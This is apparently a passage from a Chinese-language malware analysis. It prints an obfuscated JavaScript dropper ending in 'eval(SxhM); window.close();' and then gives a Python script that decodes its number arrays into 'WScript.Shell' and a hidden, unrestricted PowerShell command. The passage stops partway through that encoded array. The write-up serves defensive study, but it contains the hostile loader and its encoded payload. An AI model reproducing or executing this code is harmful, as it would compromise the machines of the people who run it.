Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

稍微调整一下,然后console.log(SxhM),看看是个啥

0f86c9e1-0fe4-4403-b0ca-b6afedc6014f

丢给ai跑个解密脚本

# -*- coding: utf-8 -*-

def decode_string_from_numbers(number_array):
    """
    这个函数模拟了恶意JavaScript代码中的ioRjQN函数。
    它接收一个数字列表,将每个数字减去601,然后将结果转换为ASCII字符。
    """
    decoded_chars = []
    for number in number_array:
        # chr() 函数将一个整数转换为对应的ASCII/Unicode字符
        # 这与JavaScript中的 String.fromCharCode() 功能相同
        try:
            char_code = number - 601
            decoded_chars.append(chr(char_code))
        except ValueError:
            # 如果计算出的编码无效,则添加一个占位符
            decoded_chars.append('[INVALID_CHAR]')

    # 将所有字符连接成一个字符串
    return "".join(decoded_chars)


# --- 从原始恶意代码中提取的两个数字数组 ---

# 这个数组解码后是 "WScript.Shell"
array_for_object = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]

# 这个长数组解码后是恶意的PowerShell命令
array_for_payload = [
    713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720,
    633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717,
    702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692,
    715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640,
    698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702,
    650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700,
    702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699,
    703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649,
    658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658,
    649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700,
    698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698,
    649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652,
    699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702,
    651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654,
    698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698,
    658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700,
    702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699,
    657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699,
    702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698,
    658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658,
    699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702,
    699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
    698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702,
    650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658,
    702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,
    655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658,
    698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698,
    653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 658,
    703, 657, 703, 653, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699,
    658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700,
    698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699,
    702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655,
    703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658,
    699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657,
    702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698,
    703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658,
    699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657,
    703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654,
    698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698,
    650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657,
    657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698,
    651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
    657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698,
    650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
    702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658,
    656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
    702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698,
    700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654,
    698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699,
    657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703,
    698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702,
    653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
    698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699,
    653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
    657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657,
    699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658,
    699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702,
    653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701,
    698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702,
    650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657,
    657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657,
    651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698,
    698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698,
    703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654,
    702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698,
    701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
    702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703,
    656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653,
    702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698,
    654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653,
    702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702,
    654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650,
    698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699,
    702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654,
    702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698,
    701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658,
    702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702,
    699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
    703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699,
    700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655,
    703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702,
    653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654,
    698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702,
    700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654,
    702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698,
    701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701,
    702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702,
